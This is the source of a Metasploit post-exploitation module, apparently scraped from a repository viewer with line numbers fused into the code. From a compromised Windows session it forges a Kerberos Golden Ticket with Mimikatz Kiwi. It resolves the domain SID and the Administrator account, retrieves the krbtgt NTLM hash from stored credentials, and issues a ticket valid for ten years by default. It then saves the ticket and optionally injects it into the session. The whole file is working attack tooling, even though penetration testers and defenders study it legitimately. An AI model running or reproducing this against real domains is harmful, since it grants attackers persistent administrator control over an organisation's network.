Path: blob/master/modules/post/windows/escalate/golden_ticket.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::NetAPI7include Msf::Post::Windows::Accounts8include Msf::Post::Windows::Kiwi9include Msf::Post::Windows::Error1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Escalate Golden Ticket',16'Description' => %q{17This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no18options are applied it will attempt to identify the current domain, the domain administrator19account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default20the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.21},22'License' => MSF_LICENSE,23'Author' => [24'Ben Campbell'25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ],28'References' => [29['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos']30],31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34kiwi_exec_cmd35stdapi_railgun_api36]37}38},39'Notes' => {40'Stability' => [CRASH_SAFE],41'SideEffects' => [],42'Reliability' => []43}44)45)4647register_options(48[49OptBool.new('USE', [true, 'Use the ticket in the current session', false]),50OptString.new('USER', [false, 'Target User']),51OptString.new('DOMAIN', [false, 'Target Domain']),52OptString.new('KRBTGT_HASH', [false, 'KRBTGT NT Hash']),53OptString.new('Domain SID', [false, 'Domain SID']),54OptInt.new('ID', [false, 'Target User ID']),55OptString.new('GROUPS', [false, 'ID of Groups (Comma Separated)']),56OptInt.new('END_IN', [true, 'End in ... Duration in hours, default 10 YEARS (~87608 hours)', 87608])57]58)59end6061def run62return unless load_kiwi6364user = datastore['USER']65domain = datastore['DOMAIN']66krbtgt_hash = datastore['KRBTGT_HASH']67domain_sid = datastore['SID']68id = datastore['ID'] || 069end_in = datastore['END_IN'] || 876087071unless domain72print_status('Searching for the domain...')73domain = get_domain74if domain75print_good("Targeting #{domain}")76else77fail_with(Failure::Unknown, 'Unable to retrieve the domain...')78end79end8081unless krbtgt_hash82fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') unless framework.db.active8384print_status('Searching for krbtgt hash in database...')85krbtgt_hash = lookup_krbtgt_hash(domain)86fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash87end8889unless domain_sid90print_status("Obtaining #{domain} SID...")91domain_sid = lookup_domain_sid(domain)9293if domain_sid94print_good("Found #{domain} SID: #{domain_sid}")95else96fail_with(Failure::Unknown, "Unable to find SID for #{domain}")97end98end99100unless user101if id && id != 0102print_status("Looking up User ID: #{id}")103user = resolve_sid("#{domain_sid}-#{id}")[:name]104else105print_status('Looking up Domain Administrator account...')106user = resolve_sid("#{domain_sid}-500")[:name]107end108109if user110print_good("Found User: #{user}")111else112fail_with(Failure::Unknown, 'Unable to find User')113end114end115116# Golden Ticket requires an NTHash117if Metasploit::Framework::Hashes.identify_hash(krbtgt_hash) != 'nt'118fail_with(Failure::BadConfig, 'KRBTGT_HASH must be an NTHash')119end120nt_hash = krbtgt_hash.split(':')[1]121122print_status("Creating Golden Ticket for #{domain}\\#{user}...")123ticket = client.kiwi.golden_ticket_create({124user: user,125domain_name: domain,126domain_sid: domain_sid,127krbtgt_hash: nt_hash,128id: id,129group_ids: datastore['GROUPS'],130end_in: end_in131})132133if ticket134print_good('Golden Ticket Obtained!')135kirbi_ticket = Base64.decode64(ticket)136kirbi_location = store_loot('golden_ticket',137'kirbi',138session,139kirbi_ticket,140"#{domain}\\#{user}-golden_ticket.kirbi",141"#{domain}\\#{user} Golden Ticket")142print_status("Kirbi ticket saved to #{kirbi_location}")143krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(kirbi_ticket)144145ccache_ticket = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)146ccache_location = store_loot('golden_ticket',147'ccache',148session,149ccache_ticket.to_binary_s,150"#{domain}\\#{user}-golden_ticket.ccache",151"#{domain}\\#{user} Golden Ticket")152print_status("ccache ticket saved to #{ccache_location}")153154if datastore['USE']155print_status('Attempting to use the ticket...')156client.kiwi.kerberos_ticket_use(ticket)157print_good('Kerberos ticket applied successfully')158end159else160fail_with(Failure::Unknown, 'Unable to create ticket')161end162end163164def lookup_domain_sid(domain)165string_sid = nil166167cb_sid = sid_buffer = 100168cch_referenced_domain_name = referenced_domain_name_buffer = 100169170res = client.railgun.advapi32.LookupAccountNameA(171nil,172domain,173sid_buffer,174cb_sid,175referenced_domain_name_buffer,176cch_referenced_domain_name,1771178)179180if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER181sid_buffer = cb_sid = res['cbSid']182referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']183184res = client.railgun.advapi32.LookupAccountNameA(185nil,186domain,187sid_buffer,188cb_sid,189referenced_domain_name_buffer,190cch_referenced_domain_name,1911192)193elsif !res['return']194return nil195end196197if res['return']198sub_authority_count = res['Sid'].unpack('CC')[1]199sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")200201string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"202else203print_error("Error looking up SID: #{res['ErrorMessage']}")204end205206string_sid207end208209def lookup_krbtgt_hash(domain)210krbtgt_hash = nil211212krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(213metasploit_credential_publics: { username: 'krbtgt' },214metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },215workspace_id: myworkspace_id216)217218if krbtgt_creds219220if krbtgt_creds.count == 0221print_error('No KRBTGT Hashes found in database')222elsif krbtgt_creds.count > 1223224# Can we reduce the list by domain...225krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }226227# We have found a krbtgt hashes in our target domain228if krbtgt_creds_realm.length == 1229cred = krbtgt_creds_realm.first230krbtgt_hash = cred.private.data.split(':')[1]231print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")232return krbtgt_hash233# We have found multiple krbtgt hashes in our target domain?!234elsif !krbtgt_creds_realm.empty?235krbtgt_creds = krbtgt_creds_realm236end237238# Multiple hashes found, the user will have to manually set one...239print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')240krbtgt_creds.each do |kc|241hash = kc.private.data.split(':')[1]242print_line("#{kc.realm}:#{kc.public.username}:#{hash}")243end244else245# Highlander, there can only be one!246cred = krbtgt_creds.first247krbtgt_hash = cred.private.data.split(':')[1]248print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")249end250end251252krbtgt_hash253end254end255256257